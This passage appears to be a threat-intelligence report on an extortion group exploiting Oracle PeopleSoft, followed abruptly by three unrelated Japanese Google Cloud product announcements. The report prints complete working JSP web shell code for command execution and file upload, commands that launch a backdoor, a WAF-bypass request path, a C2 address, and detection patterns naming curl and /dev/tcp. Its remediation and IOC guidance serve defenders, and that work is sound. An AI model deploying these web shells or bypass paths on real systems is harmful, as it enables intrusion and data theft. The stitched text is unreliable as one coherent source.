• Web shell deployment. To access web shells behind some load balanced environments, the threat actor sent a burst of multiple POST requests to /%50SEMHUB/hub, followed by the creation of a new JSP files, such as x.jsp, or sequentially numbered JSP files in the PSEMHUB.war directory. The repetition likely ensures that every node behind a load balancer receives a copy of the web shell, so organizations should check all WebLogic nodes, not only the first one identified.

• Fileless command execution. POST requests to /%50SEMHUB/hub that return command output directly in the HTTP response, with no file written to disk. On the host, this appears as shell processes (cmd.exe or /bin/sh) spawned by the WebLogic Java process. Detections that rely on JSP file creation will not identify this method.

Post-Exploitation Tooling

Dual Web Shells

To establish persistent access and stage follow-on payloads, the threat actor deployed two complementary, single-line JSP web shells into the PSEMHUB.war directory. Both shells were designed to minimize web application firewall (WAF) detections during post-exploitation.

The primary shell, x.jsp, provides cross-platform command execution. Rather than passing cleartext commands in URL query strings, x.jsp accepts hex-encoded commands via HTTP POST (c) along with an optional execution timeout (t). It automatically detects the underlying operating system, spawning cmd.exe on Windows or reconstructing /bin/sh from an ASCII character array on Linux to avoid static string signatures, and returns the process output prefixed with R:.

<%@ page import="java.util.*,java.io.*" %><%
String h = request.getParameter("c");
String ts = request.getParameter("t");
if (h != null) {
  int t = ts != null ? Integer.parseInt(ts) : 30;
  StringBuilder cs = new StringBuilder();
  for (int i = 0; i + 1 < h.length(); i += 2) {
    cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16));
  }
  String c = cs.toString();
  boolean wn = System.getProperty("os.name").toLowerCase().contains("win");
  Process p = new ProcessBuilder(
      wn ? new String[]{"cmd.exe", "/c", c}
         : new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c}
  ).start();
  InputStream a = p.getInputStream();
  InputStream g = p.getErrorStream();
  byte[] b = new byte[8192];
  int n;
  StringBuilder sb = new StringBuilder();
  long end = System.currentTimeMillis() + t * 1000L;
  while (System.currentTimeMillis() < end) {
    if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else {
      try { p.exitValue(); break; }
      catch (IllegalThreadStateException e2) {
        try { Thread.sleep(40); } catch (Exception e3) {}
      }
    }
  }
  while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
  while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
  out.print("R:" + sb.toString());
}
%>

Figure 3: x.jsp cross-platform command execution web shell (formatted for readability)

When staging larger binaries on compromised Windows hosts, the threat actor deployed a second servlet, u.jsp (along with an offset-based variant, u2.jsp). This shell decodes Base64-encoded file chunks (a) and writes or appends them (m) to a target path (n) in 150 KB increments, bypassing HTTP request-size limits and avoiding PeopleSoft's native FILECHUNKING handlers. It also includes a secondary parameter (x) to execute cmd.exe commands once file reassembly is complete.

<%@ page import="java.util.*,java.io.*,java.nio.file.*" %><%
String n = request.getParameter("n");
String a = request.getParameter("a");
String m = request.getParameter("m");
if (n != null && a != null) {
  try {
    byte[] b = java.util.Base64.getDecoder().decode(a);
    if ("a".equals(m)) {
      java.io.FileOutputStream f = new java.io.FileOutputStream(n, true);
      f.write(b);
      f.close();
    } else {
      java.nio.file.Files.write(java.nio.file.Paths.get(n), b);
    }
    out.print("W:" + b.length);
  } catch (Exception e) {
    out.print("E:" + e);
  }
}
String x = request.getParameter("x");
if (x != null) {
  try {
    ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x});
    pb.redirectErrorStream(true);
    Process p = pb.start();
    java.io.InputStream i = p.getInputStream();
    byte[] buf = new byte[8192];
    int k;
    StringBuilder sb = new StringBuilder();
    long end = System.currentTimeMillis() + 12000;
    while (System.currentTimeMillis() < end) {
      if (i.available() > 0) {
        k = i.read(buf);
        if (k > 0) sb.append(new String(buf, 0, k));
      } else {
        try { p.exitValue(); break; }
        catch (Exception e2) { Thread.sleep(30); }
      }
    }
    out.print("R:" + sb.toString());
  } catch (Exception e) {
    out.print("X:" + e);
  }
}
%>

Figure 4: u.jsp chunked file upload and execution web shell (formatted for readability)

Trojanized Installer and Multi-Stage Backdoor (Ple64.exe)

On compromised Windows servers, the threat actor used u.jsp (and u2.jsp) to upload and execute a 5.2 MB binary named Ple64.exe (tracked as SIDEEYE) inside the PSEMHUB.war directory. While Ple64.exe masquerades as a signed installer for the Light Alloy media player, analysis revealed that it is a trojanized installer containing a three-stage execution chain that loads SIDEEYE in memory. The analyzed sample was signed with a valid Extended Validation (EV) certificate issued to Tobias Weihmann Software Development OU via Sectigo. GTIG has contacted Sectigo for revocation of this certificate.

When executed, Ple64.exe (Stage 1) decompresses and loads a VMProtect 3 (VMP3)-protected second-stage launcher into memory. This launcher decrypts additional data blocks embedded within Ple64.exe and loads and executes the third stage in memory. Stage 3 is the SIDEEYE C++ backdoor that communicates with its command-and-control (C2) server (162[.]219[.]30[.]165) over raw TCP using separate control (TCP/3333) and data (TCP/3334) ports. 

Initial analysis indicates that SIDEEYE supports:

• Browser and desktop application credential theft

• Process and file management

• Interactive reverse shell and reverse proxy capabilities

After uploading the binary in chunks via u.jsp, the threat actor verified the reassembled file size on disk, launched Ple64.exe as a background process, and confirmed that it remained running:

dir applications\peoplesoft\PSEMHUB.war\Ple64.exe
for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF
cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe
tasklist | findstr /i Ple64

Figure 5: Threat actor verifying upload and execution of the trojanized Ple64.exe (SIDEEYE) backdoor

Tunneling with Neo-reGeorg

Alongside the deployment of Ple64.exe, the threat actor staged the open-source Neo-reGeorg tunneling toolkit and deployed its tunnel.jsp and tunnel.jspx servlets into victim web directories. This toolkit routes SOCKS5 proxy traffic through ordinary HTTP and HTTPS connections to the web tier, enabling internal discovery and lateral movement from the PeopleSoft host.

MeshAgent 

To establish persistent access after web shell placement on Linux systems, UNC6240 deployed the legitimate RMM tool MeshAgent. 

In earlier May and July 2026 intrusions, the actor dropped unencrypted agent binaries and configuration files directly into /tmp (meshagent, meshagent.msh, and meshagent.db) under the PeopleSoft service account, routing outbound connections to Microsoft-masquerading domains including azurenetfiles.net, microsoft-entra.net, and enroll.azuredevice.cloud. 

In September 2026 intrusions, UNC6240 continued to use IT-themed infrastructure associated with MeshAgent (winmanage-me.network on 104.219.234.138) for secondary staging and management.

MeshCentral is a legitimate open-source remote management platform that threat actors, including UNC6240, use to maintain interactive access to victim systems over web sockets.

Observed Post-Exploitation Commands

Across compromised instances, a quarter of the threat actor's commands executed as root or NT Authority\SYSTEM, granting full control of the operating system. The remaining commands were executed under PeopleSoft or WebLogic service accounts, which still provide access to PeopleSoft configuration files, database connection strings, and application data. 

Command activity through the web shells fell into several categories:

• Host and user discovery, including hostname and whoami.

• Process verification, polling process listings with tasklist to verify payload execution.

An example web shell request using the encoded path follows:

GET /%50SEMHUB/<webshell>.jsp?c=id;hostname;uname+-a HTTP/1.1

Figure 6: Example web shell request

Remediation and Hardening

Patch and Reduce Exposure

Apply the Oracle Security Alert for CVE-2026-35273 and remain on supported PeopleTools versions. Disable the EMHub service if it is not used for patching or remove the PSEMHUB application. EMHub and the Integration Broker listening connector are administrative and system-to-system components, and restricting them from public internet access is non-breaking for standard PeopleSoft Internet Architecture (PIA) user sessions.

Log and Endpoint Monitoring

Search PIA WebLogic access logs for requests to /PSEMHUB/ and encoded variants, POST requests to /hub with bodies from external sources, and requests to unexpected .jsp or .jspx files under PSEMHUB or PORTAL. On hosts, alert on shell processes (cmd.exe, /bin/sh, bash) spawned by the WebLogic Java process, particularly those invoking base64 -d, curl, /dev/tcp, tasklist, or start /b.

Host-Level Auditing

Scan PSEMHUB.war/ and PORTAL.war/ for unexpected .jsp, .jspx, and .exe files, inspect .../PSEMHUB.war/envmetadata/transactions/ for unauthorized content, and check for unexpected MeshCentral agents. Organizations that identify a web shell should treat the host as compromised, preserve evidence, and rotate all credentials accessible from the PeopleSoft tier, prioritizing hosts where the WebLogic service runs as root or SYSTEM.

Hunt for Evidence of Data Theft 

Review PeopleSoft and database hosts for large archive files (.tar, .tar.gz, .zst) in temporary or web-accessible directories, and for tar, zstd, rsync, sshpass, or curl processes spawned by the PeopleSoft or WebLogic service accounts. Review database audit logs for bulk queries or exports against HR, payroll, and student records tables, and network logs for large or sustained outbound transfers from the PeopleSoft tier, including rsync (TCP 873), SSH, and HTTP POST traffic to the network indicators listed in this post. 

Prepare for Extortion

UNC6240 has a well-established pattern of data theft extortion, that is, stealing data and threatening to release it on a data leak site unless the victim pays a ransom. Affected organizations should prepare for extortion communications and monitor for potential public exposure of stolen data.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI collection for registered users.

Network Indicators

Table 1: Network indicators

Host Indicators

<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/x.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/u.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/Ple64.exe
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jsp
<PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/tunnel.jspx

Figure 7: Host indicators

URI pattern: /%50SEMHUB/ (percent-encoded WAF bypass path; defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/ and enforce blocking on the normalized path).

File Indicators

Table 2: File indicators

Google Security Operations 

Google Security Operations customers will have access to the following rules. These rules will be available under the Mandiant Frontline Threats rule pack:

• Oracle PeopleSoft Configuration Inspection

• Sshpass Interactive File Deployment

• Data Archiving or Compression via Zstd Utility

• MeshCentral Command Execution via Meshctrl

Pending deployment in the Mandiant Frontline Threats rule pack:

• Oracle PeopleSoft Suspicious File Write to Web Application Archive Directory

MITRE ATT&CK Mapping

Table 3: MITRE ATT&CK

※この投稿は米国時間 2026 年 9 月 17 日に、Google Cloud blog に投稿されたものの抄訳です。

企業がミッション クリティカルなアプリケーションの規模を拡大するにつれ、ストレージ I/O やメモリアクセスが運用上の大きなボトルネックになることがあります。Oracle Database、SAP HANA のようなインメモリ データベース、高スループットの SQL Server クラスタ、EHR システム、リアルタイムのビッグデータ分析など、メモリバウンドのワークロードでは、必要な RAM 容量とストレージ帯域幅を確保するために、実際に必要な数を超えるコンピューティング コア（vCPU）をプロビジョニングせざるを得ないことが少なくありません。その結果、高額なサードパーティ ソフトウェアのライセンス費用がさらに膨らむことになります。

このたび、Google Compute Engine の M4N マシンシリーズの一般提供を開始しました。M4N は、I/O 負荷が高く、大容量メモリを必要とするワークロード向けに特化して設計されたマシンシリーズで、ネットワークとブロック ストレージに最適化された VM ファミリーの第 2 弾です。主要なハイパースケーラーが提供する同等のサービスと比べ、M4N はハイメモリ インスタンスでコアあたり最高の IOPS とスループットを実現し、Oracle Database の TCO を 20% 以上削減できます。

M4N は、ネットワークおよびブロック ストレージに最適化されたインスタンスとして、より高いメモリ比率（最大 26:1）と大容量メモリ（最大 6 TB）を実現した業界初のプロダクトでもあります。第 5 世代 Intel® Xeon® スケーラブル プロセッサを搭載し、Google Cloud 独自の Titanium オフロード アーキテクチャを基盤とする M4N インスタンスは、Hyperdisk Extreme と組み合わせることで、ホストあたり合計で最大 25,000 MiB/秒（25 GiB/秒）のストレージ スループットと最大 100 万 IOPS を実現します。これは、現行の M4 インスタンスと比べて 2 倍のブロック ストレージ性能です。

M4N は、極めて大容量の RAM と妥協のない I/O 性能の両方が求められるワークロード向けに設計されています。高スループットのエンタープライズ アプリケーションで課題となるストレージやネットワークのボトルネックを解消することで、M1、M2、M3、M4、X4 などの既存のメモリ最適化ファミリーを補完します。

要求の厳しいワークロードに対応

Oracle のライセンス費用を最適化

企業の IT 部門にとって、コア数に応じて増加するソフトウェア ライセンス費用は大きな課題です。Oracle Database などのワークロードでは、通常、インスタンスに割り当てられた vCPU または物理コアの数に基づいてライセンス料が算定されます。そのため従来は、必要な RAM 容量やストレージ性能を確保するためだけに、実際には不要なコンピューティング コアまでプロビジョニングし、その分の費用を負担せざるを得ないというトレードオフがありました。

M4N は、業界をリードする高いメモリ対 vCPU 比によって、この課題を解消します。主要なハイパースケーラーが提供するハイメモリ インスタンスの中で、M4N はコアあたり最高の IOPS とスループットを実現します。これにより、データベース管理者は次のようなメリットを得られます。

• TCO とライセンス費用を削減: Oracle Database に必要な性能密度を確保しながら、コアの過剰なプロビジョニングを回避できます。その結果、主要なハイパースケーラーの同等サービスと比較して、TCO を 20% 以上削減できます。

• インフラストラクチャを適正規模に調整: 大容量メモリを利用しながら、ワークロードに必要な分だけコンピューティング リソースを割り当てることができます。

• キャッシュ ヒット率を向上: コアあたりのメモリ容量が増えることで、データベースのより多くの部分をシステム グローバル領域（SGA）に保持できます。これにより、負荷の大きい I/O 処理を減らし、さらなる効率向上を図ることができます。

お客様の声

M4N を早期に利用したお客様の事例からは、ワークロードに最適化されたインフラストラクチャが変革を支える原動力となることがわかります。

「M4N の登場以前は、Google Cloud 上で厳しい I/O 要件を満たそうとすると、必要な性能密度を確保するために、コンピューティング リソースを過剰にプロビジョニングせざるを得ないことがよくありました。新しい M4N インスタンスでは、小規模から大規模まで、さまざまなマシン構成で高いスループットを実現することで、この課題を解消できます。」- Sabre、シニア プリンシパル ソリューション アーキテクト Sherri Trojan 氏

「Google Cloud が、ミッション クリティカルなデータベース ワークロード向けに次世代の高性能インフラストラクチャを導入したことを大変嬉しく思います。この新しいコンピューティング プラットフォームは、スケーラビリティ、レジリエンス、高いパフォーマンスが求められるエンタープライズ向け Oracle 環境に大きな可能性をもたらします。このイノベーションによって、Google Cloud 上で Oracle ワークロードを実行するお客様にどのような新たな可能性が開かれるのか、大いに期待しています。」- Tessell、共同創業者 / CEO Bala Kuchibhotla 氏

「M4N によって、Google Cloud はプラットフォームの共同設計の可能性をさらに広げています。第 5 世代 Intel Xeon スケーラブル プロセッサと Google 独自の Titanium オフロード アーキテクチャを組み合わせることで、M4N は、世界でも特に要求の厳しいミッション クリティカルなデータ環境に求められる大容量メモリ、高いメモリ帯域幅、妥協のない I/O スループットを実現します。」- Intel

新機能: M4N で大規模なデータレイヤをスケール

M4N は、これまでクラウド インフラストラクチャでは別々に追求されてきた大容量メモリと極めて高い I/O 性能を両立します。Google Cloud 独自の Titanium オフロード技術を採用することで、追加のインフラストラクチャを導入したり、メモリ密度を犠牲にしたりすることなく、I/O のボトルネックを最小限に抑えます。ここでは、M4N がこうした環境でどのようなメリットをもたらすのかを見ていきます。

1. 高帯域幅のデータ転送を実現

大容量メモリを必要とするワークロードに対して、M4N は次の機能を提供します。

• 優れた VM 間帯域幅: 同一 VPC 内で、VM 間の合計ネットワーク帯域幅は最大 400 Gbps、単一フローの帯域幅は最大 50 Gbps に達します。これにより、分散データベース クラスタやリアルタイム ストリーミング データレイヤで、滞りのないデータ交換が可能になります。

• インターネットへの送信（外向き通信）のスループットを向上: インターネットへの送信帯域幅は最大 200 Gbps、パケット処理性能は最大 48 MPPS を実現します。

• 追加オプションなしで高帯域幅を利用: プレミアムな Tier_1 ネットワーキング アドオンを購入したり構成したりすることなく、最大限の性能を引き出せます。

2. Hyperdisk でストレージ性能を柔軟に調整

Google Cloud の次世代ストレージ ポートフォリオと組み合わせることで、M4N と Hyperdisk では、IOPS、スループット、容量をそれぞれ個別に調整できます。

• Hyperdisk Extreme（HdX）: 合計ブロック ストレージ スループットは最大 25 GiB/秒、IOPS は最大 100 万に達し、標準の M4 と比べて 2 倍のストレージ性能を実現します。データベースの迅速な復旧、トランザクションのチェックポイント処理、インメモリ インデックスの即時再読み込みなどに適しています。

• Hyperdisk Balanced（HdB）: スループットは最大 20 GiB/秒、IOPS は最大 64 万まで拡張でき、大規模なエンタープライズ ストレージを高い費用対効果で実現します。

M4N のマシンタイプと仕様

M4N インスタンスは、メモリ対 vCPU 比が異なる 3 つのティアで提供され、16～224 個の vCPU と最大 5,952 GB の DDR5 RAM に対応しています。また、さまざまなワークロード要件に合わせて、3 種類のメモリ対 vCPU 比に基づく事前定義済みの VM シェイプが用意されており、リソースベースの確約利用割引（CUD）も利用できます。詳しくは、こちらをご覧ください。

使ってみる

M4N インスタンスは現在、世界各地の一部のリージョンでご利用いただけます。M4N ファミリーを活用して、メモリバウンドおよび I/O バウンドのアプリケーションの性能を高め、ライセンス費用を削減する方法について詳しくは、アカウント担当者にお問い合わせいただくか、ドキュメントをご覧ください。

- シニア プロダクト マネージャー、Eduardo Mattos Duarte

- シニア プロダクト マネージャー、Sajal Agarwal

※この投稿は米国時間 2026 年 9 月 16 日に、Google Cloud blog に投稿されたものの抄訳です。

本日は、Google Kubernetes Engine（GKE）で Agent Substrate が利用可能になったことをお知らせします。Agent Substrate は、オープンソースかつセキュア バイ デフォルトのエージェント実行ランタイムであり、標準的なコンテナ ランタイムよりも 10 倍高い密度で数百万のサンドボックスを実行できるように設計されています。自律型エージェントの時代に向けて専用設計された Substrate は、ネイティブのゼロトラスト カーネルとネットワーク分離により、1 秒あたり 500 回を超える一時停止 / 再開アクティベーションを実行しながら、500 ミリ秒未満での再開オペレーションを実現します。

Agent Substrate は、あらゆる Kubernetes インフラストラクチャで動作し、GKE 向けに最適化されたオープンソース ソリューションとして提供されます。最先端の AI チームはすでに Agent Substrate を活用しています。Hermes Agent の開発チームである Nous Research は、Agent Substrate を基盤とした開発を積極的に進めています。Hermes は現在、生産性、コーディング、CLI、個人向けエージェントの OpenRouter 使用量において、世界第 1 位の AI エージェントにランクされています。

ローカルから 100 万エージェント規模へ

デベロッパーはすでに Antigravity、Claude Code、Codex、OpenClaw、Hermes などのハーネスをローカルで実行していますが、それと、コード生成、ツールとの連携、自動実行を行う数十万の長期実行エージェントを同時に稼働させることとでは、根本的に異なります。そして、これこそが既存のアーキテクチャでは対応が極めて難しい課題となっています。

エージェント プラットフォームをローカル プロトタイプから大規模なエージェントの実行にスケールすると、インフラストラクチャの制約が根本的に変化します。これには、次のようなものが含まれます。

• 不透明な信頼境界: モデルは任意のコードをその場で生成して実行できます。カーネルレベルの分離と動的なネットワーク制御がなければ、人間の目に触れたことのない信頼できないコードを実行することは、ホスト エスケープや認証情報の窃盗、データの流出といったリスクを伴います。

• ツールアクセスの障壁: エージェントがコマンドライン ツール、ヘッドレス ブラウザ、ファイル システム ワークスペースを呼び出すには、フル機能のコンピュータ環境が必要です。これらを安全に実行するには、高速かつ容易でなければなりません。

• 大規模なバースト: エージェント ハーネス、ベンチマーク、強化学習のロールアウトにより、1 分間に数千のサンドボックスが生成されることがあります。汎用スケジューラはこうしたチャーンに対応しきれず、また、コンテナ イメージが繰り返し解凍されることで、深刻なディスク競合が発生する恐れがあります。

• アイドル状態のコンピューティング: 自律型エージェントは、モデルの推論、ツールの応答、人間のフィードバックを待つ間、ほとんどの時間を休止状態で過ごします。アイドル状態のコンテナに専用の CPU と RAM を予約すると、貴重なリソースが無駄になります。

エージェント専用に構築された基盤

プラットフォームチームがこれらの課題にぶつかったとき、彼らは受け入れがたいトレードオフを迫られます。それは、「制御と分離を犠牲にする」か、それとも「VM の高レイテンシと非効率性に目をつぶる」か、という選択です。Google は、チームがどちらか一方を選択する必要はないと考えています。

Agent Substrate は、エージェントの実行をマシン管理から切り離すことで、この問題を回避します。クラウドネイティブな Kubernetes インフラストラクチャ上に構築された Agent Substrate は、エージェント ワークロード専用に設計された新しい実行レイヤを提供します。

この基盤の上で、実行レイヤがサンドボックス化されたエージェント環境のライフサイクルを直接管理し、以下の機能を提供します。

• デフォルトでのセキュリティ確保: ハードウェアで分離された Cloud Hypervisor microVM または gVisor サンドボックスを採用。さらに、きめ細かいネットワークポリシーを適用する Egress プロキシを組み合わせ、エージェントの手の届かない場所で認証情報を安全に挿入することで、認証情報の窃盗を防止します。

• 1 秒未満で起動: コンテナの起動遅延を排除。オンデマンドで、事前にウォームアップされたワーカーに対して、アクティブ化したエージェントをミリ秒単位で即座にディスパッチします。

• 高効率: アイドル状態のアクターは数百ミリ秒で一時停止され、スケジュールが解除されるため、コンピューティング リソースが解放されます。

• オープンソースでポータブル: あらゆるコンピューティング環境のあらゆる Kubernetes クラスタで実行でき、Claude Code、OpenClaw、Hermes などのあらゆるエージェント フレームワークやハーネスと連携します。

アーキテクチャの基本原則

Agent Substrate がこれらの課題を解決する上での指針として、以下の4つのコア・アーキテクチャ原則を掲げています。

1. カーネルとネットワークのレベルで、デフォルトで保護

AI エージェントは、信頼できないコードやターミナル コマンドを生成、実行することをコア機能としています。共有サーバー上でそうしたコードを実行することは、共有カーネルまたはネットワーク レベルで、ブレイクアウトや意図しないデータ漏洩を引き起こす重大なリスクを伴います。

Agent Substrate は、ホストカーネルとネットワーク レイヤの両方で、デフォルトで安全な状態を維持します。チームは、完全な Linux カーネル互換性を提供するハードウェア分離された Cloud Hypervisor microVM か、さらにオーバーヘッドの低いカーネル分離を提供する gVisor サンドボックスのいずれかを選択できます。Agent Substrate の統合ゲートウェイは、すべての Egress リクエストと Ingress リクエストを管理し、ネットワーク アクセスをきめ細かく拡張可能な方法で制御できるようにします。

2. 低レイテンシのアクティベーション用に構築されたコントロール プレーンとデータプレーン

分離された環境で長時間実行されるエージェントワークロードの密度を最適化するには、レイテンシを極限まで抑え、一時停止および再開のオペレーションを極めて高い頻度で実行できる、専用設計のコントロールプレーンとデータプレーンが必要です。Agent Substrate は、最小限のレイテンシでデータアウェア スケジューリングを処理する専用のコントロール プレーンを導入しています。一方、データプレーンは、事前にウォームアップされたワーカー上で 1 秒あたり数百件の一時停止 / 再開オペレーションを直接処理し、環境の準備にかかるオーバーヘッドを削減します。スナップショットは、永続的な状態を維持するためにローカル ディスクと Google Cloud Storage に書き込まれます。サンドボックス環境は 500 ミリ秒未満で以前の状態に再開でき、アイドル状態になるとすぐに再び一時停止できます。

3. 高密度かつアクティブ時のみのコンピューティング エコノミクス

エージェントは、ほとんどの時間をモデルの推論、ツールの応答、ユーザー入力の待機に費やします。アイドル状態のコンテナのために物理 CPU と RAM を予約することは、高価で希少な容量をロックすることになり、エージェント フリートを大規模に実行できなくなる恐れがあります。

Agent Substrate は、エージェントが一時停止した瞬間にリソースを解放できます。ゲスト ハイパーバイザの状態をローカル ディスクと Cloud Storage にスナップショットとして保存し、そのまま維持しながら、RAM と CPU を解放して他のエージェントを実行できるようにします。次のターンまたはツール呼び出しが到着すると、Agent Substrate はスナップショットとして保存したセッションをミリ秒単位で再開します。このゼロアイドル モデルでは、ホストあたり 1,000 を超える休止状態のエージェントを収容でき、従来のコンピューティングよりも 10 倍高いコンピューティング密度を実現します。ターン間で共有ファイル システムを必要とするワークロードの場合、オプションの Filestore エージェント ボリューム コントローラが永続的な NFS ストレージを提供します。詳細については後述します。

4. 基盤としての Kubernetes: スケールと信頼性

標準 VM 上にカスタム サンドボックス オーケストレーターを構築すると、チームはノードの復元、自動スケーリング、マルチゾーン スケジューリング、ネットワーク ポリシーといった、煩雑な運用ツールのメンテナンスを余儀なくされます。しかし、1 秒に満たないツール呼び出しを標準の Kubernetes Pod ライフサイクル経由でルーティングすると、リクエストごとに数秒の遅延が発生してしまいます。

Agent Substrate は、両方のアプローチを組み合わせています。高頻度の一時停止 / 再開は、専用設計されたデータプレーンを介してローカル ワーカー上で直接実行されます。一方、Kubernetes はマシンを管理し、自己修復ノード、フリートの自動スケーリング、クラスタの信頼性を制御するとともに、ワーカー Pod 自体のライフサイクルを司ります。標準の Pod セマンティクスを必要とするワークロードでは、Agent Sandbox やカーネル分離 Pod などの既存のプリミティブが引き続き並行して動作します。

Google Cloud インフラストラクチャ向けに最適化

100 万エージェント規模を実現できるエージェント プラットフォームを構築するには、適切な基盤となるコンピューティングとストレージのインフラストラクチャが必要です。GKE 上の Agent Substrate は、カスタム ComputeClass を使用して、スポットプールやオンデマンド プールを含む、さまざまなシェイプやファミリーにわたるマシンプールを動的に管理することで、マシンの入手可能性と柔軟性を最大化します。これには、Google のカスタム Arm ベース プロセッサである Google Axion のネイティブ サポートが含まれます。Google Axion は、競合するクラウド サービスと比較して、サンドボックス ワークロードのコスト パフォーマンスを最大 30% 向上させます。ステートフルなワークスペースの場合、GKE 上の Agent Substrate を Filestore エージェント ボリュームとオプションで統合できます。これは、NFS マウントをミリ秒単位でアタッチ / デタッチする新しいサービスで、エージェントをほぼ瞬時に開始 / 再開できます。また、ネイティブの Read-Write-Many（RWX）アクセスと POSIX 準拠のファイル ロックにより、書き込みの競合なしに安全なマルチエージェント コラボレーションを実現します。

スケーラブルな基盤上にエージェント プラットフォームを構築

本番環境向けのエージェント アプリケーションを構築する際、強固なセキュリティ、低レイテンシ、運用規模のいずれかを犠牲にする必要はありません。

Nous Research は、OpenRouter において使用量世界第 1 位を誇る AI エージェントである Hermes を開発しています。Hermes は、生産性、コーディング、個人向け、CLI エージェントでも第 1 位にランクされています。Nous Research は、Agent Substrate の初期設計パートナーとして、エージェント ワークロードが導入する分離と ID の要件をランタイムがどのように処理するかを評価しています。

「Hermes Enterprise は、お客様が既存のインフラストラクチャにデプロイできるようにすると同時に、エージェントごとの分離と拡張可能なアクセス制御を処理できるように構築されています。Agent Substrate は、プラットフォーム レイヤでこの両方に対処しつつ、貴重なコンピューティング リソースの消費も抑えます。Agent Substrate を使用した経験から、エージェント ワークロードの増加に合わせてアーキテクチャを効率的にスケールできると確信しています。」 - Nous Research、最高ビジネス責任者、Hervé Bizira 氏

Agent Substrate は、Kubernetes のマシンの復元力、自己修復ノード、宣言型管理を、カーネル分離、アクティブ時のみのコンピューティング、1 秒未満の実行のために構築されたエージェント ネイティブのデータプレーンと組み合わせることで、エンジニアリング チームに確実な拡張への道筋を提供します。

Agent Substrate はオープンソースであり、GKE をご利用のすべてのお客様が非本番環境ワークロードで利用できます。本番環境向けの一般提供サポートは、許可リストを通じてご利用いただけます。GKE クラスタにデプロイするには、GKE 上の Agent Substrate に関するドキュメントをご覧ください。 詳細については、Agent Substrate について、またはオープンソース リポジトリをご覧ください。

- エンジニアリング担当バイス プレジデント、Alex Zakonov

- エンジニア、Tim Hockin

※この投稿は米国時間 2026 年 9 月 15 日に、Google Cloud blog に投稿されたものの抄訳です。

概要

企業は AI とエージェント ワークフローを拡大するにつれて、モデルのトレーニング、評価、推論のためのデータ準備を簡単かつ効率的に行えるサーバーレス プラットフォームが必要になります。Dataflow は、Google Cloud による AI スタックにおける重要なコンポーネントです。Dataflow を使用すると、さまざまな分析や AI のユースケースを支援するバッチ パイプラインとストリーミング パイプラインを作成できます。

このたび、Dataflow に大幅な機能強化が施されました。これにより、長時間実行されるバッチジョブのコンピューティング効率を最大化し、最も要求の厳しい AI ワークロードにさらなる推論能力を提供するという、お客様の最大の課題に直接対応できるようになりました。その一環として、このたび、Dataflow バッチジョブの一時停止 / 再開機能の一般提供を開始し、NVIDIA RTX PRO 6000 Blackwell Server Edition GPU を搭載した G4 VM のサポートを開始したことをお知らせいたします。これらの機能により、AI 開発ライフサイクルを加速し、コストを最適化できます。

Dataflow バッチジョブの一時停止 / 再開機能で無駄なコンピューティングを削減し、デベロッパーの生産性を向上

Dataflow のお客様は、大規模なバッチ ワークロードを頻繁に実行しており、場合によっては数日間実行されることもあります。これらのジョブが失敗すると、Dataflow ユーザーは現在、ジョブが失敗する前にすでに処理されていたデータにアクセスできなくなります。代わりに、ジョブ全体を再試行する必要があるため、コンピューティング リソースが無駄になり、エンジニアリングの生産性が低下してしまいます。

大規模なジョブの障害に対処するだけでなく、AI ワークロードを抱える Dataflow のお客様は、すでに実行されている優先度の低い Dataflow バッチジョブから、特徴量エンジニアリングや AI 推論などの優先度の高いワークロードに GPU や TPU などのアクセラレーテッド コンピューティング リソースを動的に再割り当てすることで、それらのリソースの使用率を高めたいと考えることがあります。

こうしたユースケースをより適切にサポートするために、Dataflow バッチジョブの一時停止 / 再開機能の一般提供を開始します。Google 内部のイノベーションを活用したこの機能により、Dataflow のお客様は、失敗した長時間実行ジョブを最初からやり直すのではなく、再開できるようになります。また、お客様はそれぞれのビジネス要件に基づいて Dataflow バッチジョブを一時停止、再開することもできます。

詳細については、Dataflow ジョブを手動で一時停止するをご覧ください。

NVIDIA RTX PRO 6000 GPU で AI 推論ワークロードを高速化

Dataflow はすでに、AI 推論ワークロードを高速化するための幅広い GPU と TPU をサポートしていますが、さらに一歩進めて、NVIDIA RTX PRO 6000 Blackwell GPU を搭載した G4 VM のサポートを発表します。

NVIDIA RTX PRO 6000 Blackwell GPU は、NVIDIA L4 GPU と比べて大幅な性能向上を実現しており、96 GB の vGPU メモリと 1.6 TB/秒の帯域幅を提供します。つまり、最大 700 億以上のパラメータを持つモデルを使用して、Dataflow ジョブ内で直接 AI 推論を実行できるということです。これは、RunInference、Right Fitting、GPU 対応の自動スケーリングなどのネイティブ Dataflow ML 機能を継続して利用しながら行うことができます。これらの機能により、基盤となるインフラストラクチャを管理したり、チューニングや自動スケーリングなどの難しい問題に手動で対処したりすることなく、AI 推論ジョブを簡単にオンボーディングしてスケールできます。

次のステップ

一時停止 / 再開機能と RTX PRO 6000 Blackwell GPU を組み合わせることで、要求の厳しい AI ワークロードを実行しながら、バッチジョブのコストを最適化できます。Google は、Dataflow の機能とお客様にもたらされる可能性に大きな期待を寄せています。今すぐ Dataflow の使用を開始し、これらの機能を活用して、AI の最も困難な課題を解決しましょう。皆様が構築されるサービスを楽しみにしております。

- Google Cloud、プロダクト マネージャー、Efesa Origbo

- Google Cloud、ソフトウェア エンジニア、Danny McCormick

